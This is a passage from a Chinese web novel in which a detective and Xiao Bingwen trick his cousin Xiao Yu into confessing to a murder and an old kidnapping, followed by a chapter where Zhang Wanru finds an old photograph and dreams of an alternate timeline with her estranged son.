“西南偏房那边的,那儿是你二姑一家在住?” “嗯。” 肖秉文眉心微拧,突然就起了私心,若是真在陈子越房间找到那倒好了。他看向不远处那堵墙,墙根处有几名警员在巡逻,每两人替换一次轮班,二十分钟之后警员会换班,警员换班时会放松警惕,那是个不错的机会。 那人如果可以在和盛味业工厂仓库的工人轮班时找到机会潜入进去,那证明他深谙见缝插针之道,而且他对肖家的布局很熟悉,即便铤而走险也有极大可能全身而退。 那么肖秉文便给他见缝插针的机会,当然也是他唯一的机会。他又抬腕看了一眼时间,还有十分钟。 “你说他真会出现吗?”即便作为刑警的秦良川也没多少把握。 “不知道,但所有出路都堵死了,只留了这一线。就像圆桶的豁口,被困的鱼要逃出升天,只能从这豁口出去,没得选择。他虽为人谨慎,但有时候太谨慎了也是缺点。” 秦良川点点头,抬腕,“还剩五分钟了。” 时间一分一秒过去,空气里紧张凝重的氛围也越来越浓,没人再说话,只听得入秋之后几声虫子的悲悯,在寂静的夜色中更显哀婉。 五分钟很快过去,两名新的警员过来开始交接。肖家后院的灯光并不太亮,也不能照亮所有角落,秦良川和肖秉文一人负责一边,观察着两侧的墙院,两人目力都极好,即便有些光线照不到的角落也能清晰视物。 警员交接要先说一下情况,客气的还会发支烟。不过交接也就几分钟时间,眼看着警员交接快完成,两边院墙却依旧没动静。 肖秉文面色越来越凝重,其实也怕这一次又是功亏一篑,那空空的院墙让他心里像坠了大石一样沉重,就在这时只听得旁边秦良川道:“来了。” 肖秉文顺着他视线看过去,果然看到那墙根阴影处有个身影从墙院里面爬出来。看得出来他很熟悉肖家的布局,而且手脚轻盈,即便手上提着重物也是落地无声。爬得这么熟练,来自于从小到大没少爬墙的经验。 猎物落网,可肖秉文 脸上却没有任何喜悦,即便离得远,但从身形上他已判断出那人是谁。 那人影爬下院墙,看了一眼交接的两人没注意到他,正要开溜,秦良川及时站出来呵斥一声,“给我站住!” 交接的警员听到这声音立马提高了警惕,这才看到那藏在墙根处的人影,自然是二话没说就向那人追去。那人见状下意识要逃,可腿脚哪里快得过长期训练的警员,没跑两步就被两名警员按在地上。 肖秉文和秦良川走上前,那两名警员已将这人抓了起来。肖秉文看清他的脸,虽已在意料之中,可看清真是他,依旧让他难以置信。 “这不是肖瑜大哥吗?”猎物落网秦良川也松了一口气,语气便不自觉带了几分调侃,“这么晚了,你要去哪儿?” 肖瑜倒也是镇定,表情不见被当场抓包的慌乱,他道:“嗐,我有个相好,打电话过来非得让我给她送点东西过去,女人嘛闹起来确实很烦,我都跟他说了走不开还不依不挠的,家里座机一直响个不停,我没办法,只能出此下策。” “哦?”秦良川挑眉,看了一眼他手中的袋子,“这是你给她送的东西?什么东西?” “就几件衣服?” “衣服?”秦良川怀疑的目光落在他身上,“你相好大半夜打电话给你闹,就是要你的衣服?” “我那相好脾气怪得很,不抱着我的衣服睡不着。” 秦良川没说话,直接冲他伸出手。肖瑜没办法,只能将袋子交上去。秦良川翻了一下,“还挺多的,不过这都入秋降温了,你怎么还给她带夏天的衣服?” “她就喜欢夏天的衣服,说是我体味会重一点,她喜欢。”他回答时依旧神色自若,秦良川不由佩服,都这个节骨眼了他还在装。 秦良川冲肖秉文示意了一下,一直没说话陷入沉思的肖秉文回过神,将手上的手电筒打开往那口袋里照。 秦良川便仔细将衣服一件件放在手电筒光下,果然在翻找了几件之后,就见某件衬衣上被手电筒照出了一片荧光。 秦良川感慨道:“这荧光剂效果还真不错啊,都过去这么久了还能照出来。” 肖秉文看着衬衣上的荧光,沉默良久,若有所思应了一声,“是啊。” 秦良川将那染了荧光的衣服拿到肖瑜跟前晃了晃说道:“大约一年前,周福出现在柳城,为了揪出他背后的主使,我们曾在他身上撒了荧光剂。这荧光剂平日里看不出来,但遇到特殊的灯光会发出荧光。你这衣服上也有荧光,若是拿去检验一下就能知道这上面残留的荧光剂成分和我们洒在周福身上的荧光剂是不是一样的。” “我不太懂秦队长的意思。”肖瑜做出一副丈二和尚摸不着头脑的样子,“周福和荧光剂?” “我们这次过来不就是调查周福被杀案吗?” “所以秦队长是怀疑我杀了周福?即便真如秦队长所说,我身上残留的荧光剂和周福身上的一样,但也只能说我接触过周福,不能说我杀了他吧?” 他看似一脸懵,这话却说得极其缜密,找不出破绽。 秦良川道:“你说得没错,确实只能证明你跟周福接触过,而不能证明你杀了周福。不过我们要找的证据并不是在衣服上。你应该清楚,我们重启案件调查是因为周福的日记本,周福大概知道自己会遭毒手特意留了一手,将一张印有凶手指纹的手帕夹在了日记本里。只要我们提取上面的指纹和你的指纹对比,就能证明究竟是不是你杀了周福。至于我特意让秉文告诉你证物在衣服上,只是想看你狗急跳墙而已。” 肖瑜从被抓到开始就一直伪装的懵逼无辜面色在听到这句话之后,仿若面具被敲击出一条缝,再稍一施压,那面具便四分五裂。 他神色一点点冷下来,这确实是他没想到的,周福都死了一年了居然还能将他拉下水。印有指纹的手帕?他给过周福手帕吗?不过他好像确实掉过一张手帕。而且还在清扫那间仓库时丢的,当时竟被周福偷偷藏起来了?他的手帕会出现在那里,他不管怎么解释也洗不清嫌疑。 或许也意识到自己挣扎是徒劳无功,他目光在秦良川和肖秉文身上扫了一眼,笑道:“看来我没猜错,这一次浩浩荡荡大张旗鼓来搜查肖家确实是针对我。” 肖瑜这话落下,基本也就承认得八九不离十了,肖秉文放在身侧的拳头紧了紧,虽然早有预料,可真相如此依旧让他难以接受。 肖秉文望向这个一直和自己当兄弟的人,他道:“所以周福是你杀的对吧?” 肖瑜走到这一步,算是破罐子破摔了,可对上肖秉文的目光他依旧被刺了一下。事到如今他也没什么好解释的,这一天终归还是来了。他和肖秉文站在对立面上,他们不再是兄弟,不再互相调侃,而他曾是将他推进地狱的罪魁祸首,现在,他也即将被肖秉文送进监狱。 肖瑜自嘲笑了一声说道:“是我杀的。” “我公司原材料也是你动的手脚?” “是我。” “当年我被绑架,也是你做的对吗?” “都是我。” 肖秉文闭着眼深呼吸了几次,握紧的拳头咔咔作响,费了好大的劲才没有因为冲动扑过去揍他一顿。 等情绪稍稍稳定之后,他才挣开眼看向他,问出这么多年的疑惑,“为什么?” 肖瑜却突然笑了,笑声在夜色中扩散,显得有些突兀,“为什么?”他仰头看着夜空,今夜无云,星辰光光点点撒落在黑幕上,看样子明天是个好天气。沉默了一会儿肖瑜才说道:“秉文,你觉得我是一个什么样的人?”不等肖秉文回答,他又继续说道:“我知道,你跟其他人一样,在你们眼中,我很没用,干啥啥不行,做啥啥不成,是肖家一等一的废物。不过我这个人乐天知命,为人也大喇喇的,即便面对你们看不起的目光却依旧不当回事,该吃吃该喝喝。在你眼中的我是这样的对吧?所以你才跟我关系好,因为我没心机,也没野心,还傻不拉几的,给你造不成威胁。而同样和我们一起长大的陈子越,他跟我们年岁相仿,可你跟他好不起来,因为爷爷看重他,他是你潜在的威胁对吗?” 肖瑜说完笑得更大声,“实际上你想错了,我并不是真的乐天知命,也并不是真的想一事无成。我之所以一事无成,是因为只有一事无成我才能明哲保身,所有人的注意力才落不到我的身上,你要知道我那个后妈可不是好相处的。我乐天知命大大咧咧?其实也不是,实际上我心思敏感,敏感于别人对我的目光,敏感于别人对我的评价。而我也没那么爽快大度,实际上我小气得很,每一次别人拿我跟你对比,我对你的厌恶就多一次。” 他停顿了一下,接着道:“你跟我确实不一样,你无父无母比我还惨,可从小优秀,即便也常常犯错,可大家总能因为你的优秀就轻易原谅你。毕竟能干的人偶尔犯点小错误怎么了?爷爷奶奶器重你,你一退伍要开公司爷爷立马就给你钱,而你确实也让爷爷骄傲,开的公司越来越好,渐渐成了肖家的主心骨。作为跟你年纪相仿的我,自然也少不了时常拿来跟你对比,我越暗淡就越能衬出你的出色。你说我天天生活在这样的环境里,我的心态会不会崩溃?我说过了,我心思敏感,我小气,所以我不甘心,我不服气。你那么骄傲那么优秀是吧?那我就摧毁你的傲气,折断你的傲骨,让你从此没有站起来的勇气,到时候你也能跟我一样,你也成了肖家的另一个废物了。” 肖秉文从未想到有一天会在肖瑜口中听到这些话。他和肖瑜关系自来不错,他遇到事往往也是肖瑜第一个伸出援手,他无法相信他每天面对的肖瑜在内心深处竟对他有如此恶毒的想法。也无法将那个和他斗嘴耍贱的肖瑜和眼前的肖瑜联系起来。 纵使难以置信 ,但肖秉文还是很快就接受了人性的复杂,肖瑜也是人,他自然也有人性的恶,好像也没那么难以理解。 所以肖秉文不再质问,他选择了接受,他只剩唯一的疑惑,他问肖瑜:“你憎恨别人拿我跟你对比,你因此憎恶我,我能理解,但你为什么要把张婉如牵扯进来?” “为什么?”肖瑜低声笑出来,笑得极其嘲讽,“那应该问你自己啊。” “问我自己?” “我可记得清楚啊,当年周福抓了你之后给你找过好几个女人你都不为所动。也是呢,你这么骄傲的人,怎么可能随便面对一个女人就跟畜牲一样发-情?就连梁文凤那么优秀的女人在你眼中也就那么回事。不过那又怎么样,上药啊,烈性药一下肚,唐僧都会变魔鬼,我以为你也一样,我试图让你在药性下变成畜牲,试图证明你肖秉文也不过如此,可你竟然抗住了。你知道我当时是什么心情吗?一边在心底愤怒竟然连药都无法折辱你,却又一边下意识赞同别人对你的称赞,顽强成这样做什么事情不能成功呢?直到周福无意间看到你的钱包,你应该清楚你钱包里有什么东西吧,那东西不就牵扯到张婉如吗?果然,我将张婉如一抓来放你身边,再给你下药你就撑不住了。你为什么撑不住呢肖秉文,面对别的女人都能撑住,都能保持正常人,为什么面对张婉如就不行?面对她就变成了禽兽?所以张婉如遭遇的那些侮辱是因为我吗?或许有我的一部分原因,但你不也占了很大一部分吗?” 肖瑜说完,那嘲讽的笑意越发肆意,肖秉文觉得刺耳极了,一直在努力克制,手背到手臂青筋起了一大片。一股股怒火像巨浪一样袭上来,肖秉文控制不住一下扑上去扯住肖瑜的衣领,重重的一拳头对着他的脸便砸了下去。 秦良川作势拦了一下,说道:“一会儿还得审讯呢,别给他身上留了伤给人说我们在严刑逼供。” 肖瑜挨了一拳并不意外,脸上那嘲讽的笑意收了些,他目光复杂看了一眼肖秉文,说道:“我其实想过我们兄弟之间会以如此难看的场面收场,只是没想到这一天来得这么快。” 肖秉文克制了一下呼吸,很快也就释怀了,肖瑜再怎么恶心,但这辈子也就这样了。而他,他的未来还很长,属于他的幸福他还未好好体验。既然已经认清了现状他也没必要消耗自己,他冲秦良川道:“把人带走吧。” 秦良川点了点头,在将肖瑜带走前先摸出口袋中的一个录音机,巴掌大的录音机,里面录音的磁带还在滚动。他将录音机关上,对上肖瑜疑惑的眼神,说道:“其实这才是证据,刚说的什么指纹什么笔记本,诈你的。” 肖瑜:“……” 肖瑜方才还愤怒的面色顿时收敛,脸上表情变了几变,异常难看,目光看向肖秉文又看向秦良川,不甘愤怒懊恼,种种情绪交织,眼里红得就像要喷火一样,嘴角却溢出笑声,一点感情都没有的冷笑,扩散在夜色中,听得渗人。 “真有你们的,可真有你们的啊!”他怒声冲两人道。 肖瑜被两名警员铐上手铐带走,秦良川看着他们离去的背影说道:“看来气得不轻啊。”语气挺幸灾乐祸的。 肖家其他人还留在堂屋,都没睡意,人心惶惶的等待着搜查结束。陈珍宜已经靠在妈妈怀中睡着了,屋中静悄悄的,也没人说话。家里来了这么多警察,人人自危,氛围自然也好不到哪里去。 就在这时候就见两名警员押着戴上手铐的肖瑜出来,众人见此情景都一脸震惊。肖家大伯先一步站起身问道:“警察同志,这是什么情况啊?” 其中一名警员道:“嫌疑人已经抓到,这边很快就解封了。” 嫌疑人几个字一出来大家就明白怎么回事了,然而众人表情越发震惊,尤其这个嫌疑人还是肖瑜,这个在肖家没什么建树,被当做混头子的人。 肖家大伯说道:“你们是不是搞错了?我这个儿子平日里是不争气了一点,但他从小胆小怕事,怎么可能干出杀人这种事情?” “没搞错,他自己都承认了。” 肖家大伯看看警员又看看肖瑜,一脸不敢置信! “你!”肖家大伯后退一步,仿若遭受了巨大打击般,又心疼又愤怒,“你真的杀人了?” 他的表情落在肖瑜眼中只觉得可笑,他道:“我杀人了,你又觉得丢人了是吧?不过我也就丢你最后一次人了,往后啊,也没机会再给你丢人了。” 听到这话的肖家大伯良久不能言语,梁建英走上前扶住肖家大伯,说道:“我就说了肖瑜这东西是养不熟的,瞧瞧,瞧瞧他做得什么事啊!以后你在单位怎么办?以后要是景翰要考公怎么办?这败家玩意儿,亏空家里的钱财就罢了,怎么还做出这种混账事?我们一家子都被他给害了。” 肖家大伯这会儿满肚子的复杂情绪交织,听到这话,猛然将梁建英一推,怒斥道:“还不是你!还不是你这也看他不顺眼那也看他不顺眼!若不是你我会放任他在外面胡闹吗?我把他留在身边好好教育他能成这样吗?” 梁建英一脸不敢置信,“人是他杀的,你倒怪起我来了?!” 张婉如看着两人争论,心情有些复杂。原来肖瑜真的是幕后黑手,大概是早就对他有过怀疑,所以看到被铐上手铐的肖瑜她倒没有太惊愕。 不过她倒是理解肖瑜在原身家庭里的遭遇,两人都很像,都有个后妈。看着肖家大伯脸上的愤怒和懊恼,早点在干嘛呢?好像也没什么用了。 肖瑜被押着走过来,在路过张婉如的时候停了脚步,两名警员也跟着停下。 “弟妹。”肖瑜叫了她一声。 张婉如一时不知道该怎么回他,这个人杀了周福,说明他就是当年那起绑架案的幕后黑手,是造成她心里阴影的罪魁祸首。可这个人又是肖秉文堂兄,在肖秉文出事之后唯一一个来看望她和小戎的人。 肖瑜也并不指望她能有什么回应,他道:“当年的事情我很抱歉,我知道那件事对你造成很大的伤害,我难辞其咎。” 张婉如皱眉,肖瑜表情挺诚恳,目光中也流露出几分懊悔。当年肖瑜究竟出于什么目的绑架她,她不知道,不过这会儿肖瑜这歉确实道得挺真诚的。而且也没明说当年那件事是什么事,算是在所有人面前给她留了体面。 不过伤害已经造成,这么多年的心理阴影又岂是一句抱歉就能释怀的。所以面对他的歉意张婉如不为所动。 肖瑜停顿了一下,看了一眼从后院进来的秦良川和肖秉文,他复杂的目光在肖秉文身上停留了片刻,这才说道:“不过当年将你牵扯其中也不是我的本意,我当年想针对的人只是肖秉文,至于为什么你会受牵连,如果你想知道的话,你该去问问秉文。” 张婉如顺着他的目光看过去,对上的是肖秉文阴沉的面色和冷得渗人的目光。不过肖瑜却没有再多说,被两名警员带着离开了。 嫌疑人已经抓到,肖家很快解封,此刻天已经晚了,不过想着小戎一个人在家,肖秉文和张婉如还是决定回去。 他们来的时候坐的是警车,回去便打了一辆出租,张婉如和肖秉文坐在后座,今日发生的一切依旧让她如在梦中,每每想起都难以置信。 “没想到凶手真的是肖瑜,看样子当时我的怀疑是对的。” “我也没想到。” 张婉如向他看了一眼,有些问题想问却还是忍住了。直到两人回到家,张婉如先去了小戎房间,看了一眼熟睡的孩子才放了心回到房间。 肖秉文正站在窗边抽烟,听到声音知道是她却也没回头。张婉如走到他身后,犹豫了片刻还是问出口,“肖瑜让我问你为什么当年我会被牵扯其中,他这句话是什么意思?” 肖秉文抽烟的动作顿住,沉默了一会儿他才转回头对上她的目光,一时却没说话。 张婉如又道:“ 我记得你说过,当年周福绑架我是因为他误会了我是你的侄女,他想毁了你让你做出乱-伦的事情,他才将我送到你身边。难道说当年他们绑架我还另有隐情吗?” 肖秉文面对她询问的目光,他微低头躲开,沉默着,似在犹豫该怎么回答。就在这时候他的传呼响了,他拿起看了一眼,说道:“秦良川找我有事,我大概还要出去一趟,至于你想知道的答案,太过复杂我一时也难以说清。不过衣柜角落那个抽屉里有一个旧钱包,钱包里有照片,他们当年就是看到这张照片决定绑架你的。” 肖秉文说完便出去了,张婉如不明所以,按照他说的,找到衣柜角落的抽屉,里面果然有个旧钱包,她将钱包打开,找到了那张混杂在一堆名片里的照片。 第62章 第62章合照 照片里是两个人,肖秉文和她。照片背景就在肖家老宅,肖秉文身后是肖家前院那龙吸水的喷泉,他坐在一张藤椅上,西装笔挺双腿交叠着,姿势慵懒看着镜头。柔和的阳光落在他身上,前院中的虞美人开得很热闹,照片里的他光彩照人,连鲜艳的虞美人也未能夺过他身上的焦点。 肖秉文身后还有一个人,她的身影有些模糊,可只要熟悉她的人一眼就能认出她是谁。 正是张婉如。 她应该是刚好从虞美人花束中经过,就那么巧,相机在这一刻定格。那一天的她一身湖水蓝的裙子,在热烈的虞美人中像一股清新的风。步子走得有些快,拍下时身上带了些虚影,一虚一实的两人,呈现出的照片却很有故事感,这应该是无意间拍下的照片,并不算她和肖秉文的合照。 张婉如很诧异,她竟有一张和肖秉文的同框照片,这是什么时候的事?结合照片上的日期和她当时的穿着,她想起,这应该是肖老太太七十岁生日那天,梁文秀回肖家给肖老太太贺寿,将一家子也带来了,那时候她跟继母的关系还没那么紧张,自然也一块儿来了。 肖家叫了摄影师过来拍照,拍了大合照,自然也有人想拍单人的,肖秉文便是其中之一。张婉如并没有参与,毕竟她又不是肖家人。只是她没想到她却误入了肖秉文的照片中,留下了这张无意中的合照。 那时候她跟肖秉文几乎没有交集,也没说过几句话,可他为什么会把这张照片留着?还夹在钱包里?为什么这张照片会成为她被绑架的原因? 有太多的疑问,她想向肖秉文问清楚,可这一晚上肖秉文迟迟没有回来。从肖家回来已是半夜,张婉如感觉很疲惫,躺床上等肖秉文,等着等着就睡着了。 审讯室外面的阳台上,肖秉文站在护栏边盯着楼下。其实也没什么好看的,刑警大队楼下的院子里寂静无声,只有一颗老槐树晃动在风中的凄凉影子。 秦良川走上前递给他一支烟,肖秉文挡了回去,他今天抽得够多了。 秦良川见他脸色不太好,问道:“看样子,你跟肖瑜的感情确实挺不错。” “怎么这么说?” “努力了这么多年,好不容易抓到幕后黑手,这应该是一件值得高兴的事,你脸上却不见半点高兴,反而心事重重的,不过也能理解,你哥俩既是亲人又从小一起长大。” “在我知道肖瑜是幕后黑手之时,兄弟情义在我这里已经不重要了,他只是谋害我的罪人,而我只需要将罪人送进监狱。” 听到这话秦良川一脸不解,“既然如此?你为什么会是这副表情?” 肖秉文却未多言,只是想着张婉如应该已经看到那张照片了,想着即将要面对的,肖秉文面色又凝重了一些。 好不容易这丫头不那么抗拒他了,愿意和他好好过日子,甚至偶尔热情起来还会说一些好听的话哄哄他,不管他们当初是因为什么结合的,如今小夫妻的日子也算得上是蜜里调油,跟正常恩爱夫妻差不多。 肖秉文以为日子就这么过下去,往后说不定还越来越好,哪成想公司出了这事儿,两人又聚少离多,如今他在媒体上跟公众道歉,稍稍挽回了一下公司形象,眼看着马上就要结束聚少离多的日子,肖瑜又主动漏了馅,又牵扯出许多事。 好不容易不恨他愿意跟他过了,要是那丫头知道真相,会不会又继续恨他?本以为已经熬到了苦尽甘来,不想前方又有悬崖峭壁等着他。 这一晚张婉如做了个梦,又梦到了那本小说,应该也不算,梦到的并不是小说里的内容,而是根据小说的剧情和时间线发展出的分支故事,跟她有关的,关于肖家父子的故事。 梦境的内容就像电影画面一般在她跟前展现,而她则像一个旁观者一样看着故事里的自己和肖家父子发生的一幕幕。 在那本小说的时间线里,她在2002年时回到了柳城。如果可以选择她自然是不想回来,而且她在那家制衣厂工作得不错,升任了车间主管,只是后来受到下岗潮的冲击,许多工厂倒闭,她所在的那家工厂也未能在这次的冲击中幸免。 她下岗了,一度陷入迷茫中,就在这时候曾经找过她的袁雯又联系上她。那时候的袁雯已经成立了自己的服装公司,而且有完整的生产线,张婉如不仅在制衣方面有经验而且还会设计,对于袁雯来说是不可多得的人才。 无路可去的张婉如只得回到柳城加入袁雯的团队,袁雯格外器重她,给了她许多资源,助力她发展,而张婉如也借着她的东风快速成长起来。千禧年代是国家发展最快的时期,在快速发展的浪潮推动下,只要不做违法犯罪的事情都很容易成功。 也就是后来所说的时代红利。 张婉如觉得她也是比较幸运的那个,有时代浪潮的推动,有伯乐的器重,再加上自身的才华,三年时间她已经成了服装界首屈一指的设计师,而且还在其乐公司旗下发展了自己的服装支线品牌,并取得了相当不错的成绩。 名气大了,应酬自然也多,那日她受邀同袁雯一起参加某个酒会,在酒会上她遇到了多年不见的肖秉文。 那时候的肖秉文已是柳城著名的企业家,他创办的和盛味业也成了柳城第一家上市企业。和盛味业在整个柳城的企业中处于领头地位,而肖秉文在企业家中自然也处于金字塔顶端,走到哪里都有一群人前呼后拥,被众星拱月。 四十出头的男人,稳重而儒雅,有着成功人士的距离感,却又处处透着大方得体。 许多人上前和他攀谈,袁雯拉着她也想找机会上前,张婉如却没兴趣。 不过出乎她意料的是,肖秉文却主动向她走过来。 “好久没见了,这些年还好吗?” 他态度坦然,语气自然得仿若他们是多年不见的好友。 袁雯诧异:“你跟肖总认识啊?” 张婉如对上男人,在外打拼数十载怯弱敏感的少女,早已学会了喜怒不形于色,即便曾经和他有诸多纠葛,甚至还有一个孩子,她也并未表现出任何异样,她也自然应了一句,“挺好的。” 当然也是点到即止,张婉如并没有和他攀谈的兴趣,简单打过招呼她自然颔颔首转身走到一旁 。 袁雯很不解,追上去问她:“你跟那肖总认识?怎么都不多聊几句啊?你知道他的身份吗?要是能搭上他我们在柳城的路就更广了。” 张婉如总以为时间会抹去曾经的伤痛,可再见到肖秉文,那些被她按捺在深处的记忆却不受控制从某个小孔中冒出来,在她心底里搅动。 那屈辱不堪的记忆,在很多年里都曾是她的噩梦。她以为这么多年过去,即便无法释怀却也不该受噩梦的困扰,可此刻那记忆不受控制像潮水一般涌上,她发现她依旧难以招架,她甚至能感觉到手指在发抖。 她没理会袁雯,径自向外走去,袁雯问她:“你去哪儿?这儿还没结束呢!” “太闷了,去透口气。” 她丢下一句便匆匆离开。酒会在一家大饭店举行,饭店后院修了个漂亮的西式花园,她站在花园中那古罗马风格的凉亭里调整呼吸平复情绪。 直到让自己重新冷静下来了才回到酒店,却在后院门口碰到站在那里抽烟的肖秉文。 没有酒会上的众星拱月,走到哪里都一堆人追随,此刻就他一个人在那里。看到他张婉如脚步顿了一下。 后院的灯光不甚明亮,缭绕的烟雾模糊了他的表情,可张婉如能感觉到他在看她。他的目光很安静,并不带任何情绪。可大概是他身上气质加持,又或者是自己的心理作用,她觉得这目光落在她身上时让她感觉到刺痛。 她想假装没看到,从另一扇门进去,他却主动开了口。 “你在躲我吗?” 张婉如脚步顿住,却没回答他的话。 已经有十多年没见过他了吧,十多年的时间足够抹掉曾经的经历对他的影响,毕竟现在的他是如此成功,即便那些事曾短暂改变过两人的人生轨迹,可落在他漫漫长路上应该也是微不足道的。可他这句问话,却像是在告诉她,他什么都记得。仿若一下将她拉回十多年前,她曾在肖家待产,他也说过同样的话。 “我不会伤害你,你不用躲我。” 张婉如调整了一下呼吸,尽量用自然的语气回应他,“没有。” “我没有恶意,我只想告诉你,如果你有什么需要可以来找我,我会尽我所能帮你。” 不知道他这话出于什么目的,时隔这么多年,本不应该再有交集。或者是对当年那件事的补偿,毕竟他曾说过很多次他想补偿她,又或者只是出于愧疚想做点什么让自己心安。 都无所谓,她也不在意。 所以她回答他,“谢谢,不用。” 后来的宴会上两人便没再说过一句话,而这一次的见面也很快被张婉如抛之脑后,她知道回柳城或许会跟肖秉文再见,她做过心理准备,自然能用最快的时间调整心态。 2005年,在张婉如回柳城的第三年,肖楚戎十五岁,即将初中毕业。 少年遗传了母亲柔和的五官和父亲高大的体魄,有一头浓密的头发和一张白皙漂亮的脸蛋。外型的优越让他对异性有着天然的吸引力,奈何他性格孤僻独来独往,从不与人交谈,他的冷漠自然让一众爱慕者望而却步。 倒是只有一个叫胡美馨的时不时找他说话,胡美馨和肖秉文在幼儿园就认识,后来小学她去了别的学校,到了初中两人又分到一个班。胡美馨一直将他当老同学,比起其他人对他的望而生畏,或者像躲怪物一样躲着,或者只是碍于他的冰冷不敢靠近,胡美馨倒是唯一一个将他当正常人一样对待的人,就像她也热情对待其他同学那样。 初中毕业,胡美馨家里给她举办升学宴,她自然邀请了肖楚戎。肖楚戎并不想去,他没兴趣,胡美馨大概也看出来了,对他一遍遍重复。 “肖楚戎,你一定要来,我把你当朋友的,你不来我会难过。” 鬼使神差的,肖楚戎去了。不过胡美馨朋友太多了,她不可能面面俱到,自然也不可能只照顾他一个人。 他百无聊赖去了胡美馨家的阳台上,却遇到班上几个混混同学在那里抽烟,他本来想转身离开,却有一人拦住了他。 这几个人经常围在胡美馨身边,胡美馨对于肖秉文的关照早就让他们不满,再加上肖楚戎这张脸在男人看来格外讨人厌,他们自然不喜欢他。 肖楚戎出现在胡美馨的毕业宴会上,此刻又撞进他们的“地盘”,越发让他们不爽,哪能那么轻易让他走掉。 “你这怪胎不是对什么都不感兴趣吗?怎么跑这儿来了?” 肖楚戎并不理会,想绕过他离开,这人不依不饶又拦了上来,挑衅一般用胸口顶了顶他的身体,说道:“谁给你的脸这么拽啊?真把自己当回事啊?” 旁边有人附和,“听说他出生不久他妈就跑了,有妈生没妈养,难怪这么没教养。” 肖楚戎目光冰冷向说话之人看去,那人见状又道:“哟哟哟瞧瞧,瞧瞧这眼神,怎么?要打我啊?连你妈都不要你,就是个没人要的垃圾,以为自己高人一等啊,哪里来的资格给谁摆臭脸的?” 他挑衅上前,伸手推了肖楚戎一把,“我说错了吗?你有礼貌吗?你拽什么?你妈没教过你别拿这眼神看人吗?哦忘了,你没有妈!” 周围几人轰然笑出声,笑声听在肖楚戎耳中只觉得格外刺耳。 你有妈吗? 连你妈都不要你。 有妈生没妈养。 “碰!” 重重一拳头落下去,刺耳的笑声戛然而止。被打的男生踉跄几步才站稳,他捂着脸一脸不敢置信看向肖楚戎,对上的是一双血红而冰冷汨汨冒出杀意的眼神。 毕竟只是半大的孩子,这眼神将少年唬住了,可是当着这么多人的面,他又是这群孩子里带头的,并不想丢脸,再加上他们人多,何必怕他一个。 他冲旁边几人使了一下眼神,“给我揍他!” 几人一拥而上,肖楚戎从小跟爸爸学打拳,在打架这一块儿上是不怕的,此刻又处于暴怒中,面对来势汹汹的五人丝毫退缩的念头都没有,来一个打一个。一时间只听得哀嚎声不绝,然而双拳难敌四手,他身上和脸上也挨了些拳头。 “都给我住手!” 胡美馨听到阳台的动静上前查看,这才看到扭打在一起的几人。几人分开时,每个人脸上多多少少都受了些伤,肖楚戎以一敌五却是几个人中受伤最少的。 胡美馨看到肖楚戎时都被吓了一跳,他嘴角染了些血,他却浑不在意随手用拇指蹭掉,白皙的脸上一双血红的眼睛看着格外醒目,像一头处在暴怒中的兽。 眼前的男孩漂亮得不像一个人,可那狠戾的表情也不像一个人。 “怎么回事?”胡美馨询问。 没有人回答,她又看向肖楚戎,肖楚戎看也没看她一眼,直接推开她便离开了。他推她的动作有些粗暴,离开的身影也冰冷,胡美馨愣了愣。 肖楚戎走到街上,这才发现不知何时天上下起了雨。手机响了,父亲给他买的最新款手机,警告过他要接电话。可看着来电显示他并不想接,应该是父亲派司机来接他,可他不想回去。 脑海中依旧回荡着那些人的话。 你有妈吗? 连你妈都不要你。 有妈生没妈养。 你有妈吗?他有的,她有妈的,他还知道那个人回柳城了,知道她住在哪儿,他曾和父亲坐在车上,在她所在的小区楼下停留许久。 可是父亲严厉警告过他,不要去打扰她,所以即便知道她回了柳城,即便知道她住在哪儿,这三年间他都从不敢靠近。 可现在,他很想见她,很想问出自己一直藏在心底的疑惑。 他疯了一般向雨夜里跑去,不知道跑了多久,直到站在熟悉的小区楼下,他知道她就住在上面。可一鼓作气跑了这么远,胸腔疼得要死,到了这里却又踟蹰着不敢再向前了。 他靠坐在小区外面的墙垣下,小区门口凸出的雨棚稍稍为他遮住雨幕,他抱紧身体缩成一团,将那响个不停的手机关机,不敢上去,却又不想走,就这般窝在这里靠坐了一晚上。 直到天空熹微,一道光线刺痛了他的眼睛,他睁开眼,只觉得头痛欲裂,浑身上下的骨头都在疼。 他艰难睁开眼向门口看去,就那么巧,他看到了那抹熟悉的身影。那张照片曾被他藏起来连爸爸都不知道,他在照片上看过无数次的,那个女人抱着小小的他。 那是他们唯一的合照。 眼眶一下子酸涩起来,浑身动一下就跟针扎一样,他却鼓起勇气站起来。 “等一下。” 前方女人停下脚步,她转头向他看去,目光在他身上打 量片刻,她满脸惊愕,“是你?” 她的表现让他惊喜,他拖着疼痛和疲惫的身体一步步走向她,却也不敢靠得太近,目光紧巴巴落在她身上,他沙哑着声音问她:“你记得我?” “你为什么在这里?”她的表情却很冷。 疼得不行的身体在她疏离冰冷的眼神下依旧感觉到清晰的刺痛,很强烈。他下意识想退却,可想着好不容易才鼓足勇气出现在这里,他不想功亏一篑,他要问出这么多年的疑惑。 “你为什么不要我?” 沙哑而破碎的声音颤颤巍巍说出这句话,这么多年的委屈也一股脑儿袭上来,眼眶酸涩难忍,他能感觉到有眼泪在打转。 她良久沉默,他双手紧握成拳控制着抖得越来越厉害的身体,不知过了多久,他听到她的回答。 “你不该来找我。” 她说完便转身离去,他差点支撑不住跌倒在地上,然而面对她的离去,他却本能想留住她,便下意识脱口叫了她一声。 “妈妈。” 叫出来连他自己都被惊吓到了,妈妈这两个字一直盘旋在他的脑海中,他曾在心底里叫过无数次,对着照片上的她,可他从未叫出口过。 不知道为什么,就这么脱口而出了,这一声妈妈,甚至如此顺滑,像是已经唤过无数遍,熟能生巧,每一个音都恰到好处。 女人脚步顿住,却只犹豫了短短几秒,她冰冷的声音便传了过来。 “我没有过孩子,我也不是你妈妈。” 说完没有停留,也没看他一眼,她渐渐远去。他身体僵硬在当场,太阳已经出来了,火辣辣的日光落在他身上。 他却感觉到了前所未有的冷,像置身于巨大的冰窖中,浑身冷汗直冒,**的痛,心上扩散的痛一股脑儿袭来,他终于招架不住,身体酸软再没有力量支撑,直接跌倒在地上。 再醒来时他躺在熟悉的床上,他认出来这是家里的别墅。脑海中还盘旋着熟悉的声音,提醒着他,他曾经历过的一切不是梦。 身体好了许多,已不再疼痛,然而一股陌生的疼却在心底蔓延。他紧紧握着拳头,克制了许久才下了床。 楼下父亲正和别人谈话。 “想来当年肖老先生留下的遗嘱是这一份。” 来人他并不认识,或许又是父亲的哪个朋友。 肖秉文喝了一口茶,面色有些凝重,“也就是说当年有人伪造了老爷子的遗嘱?” “可以这么说。” 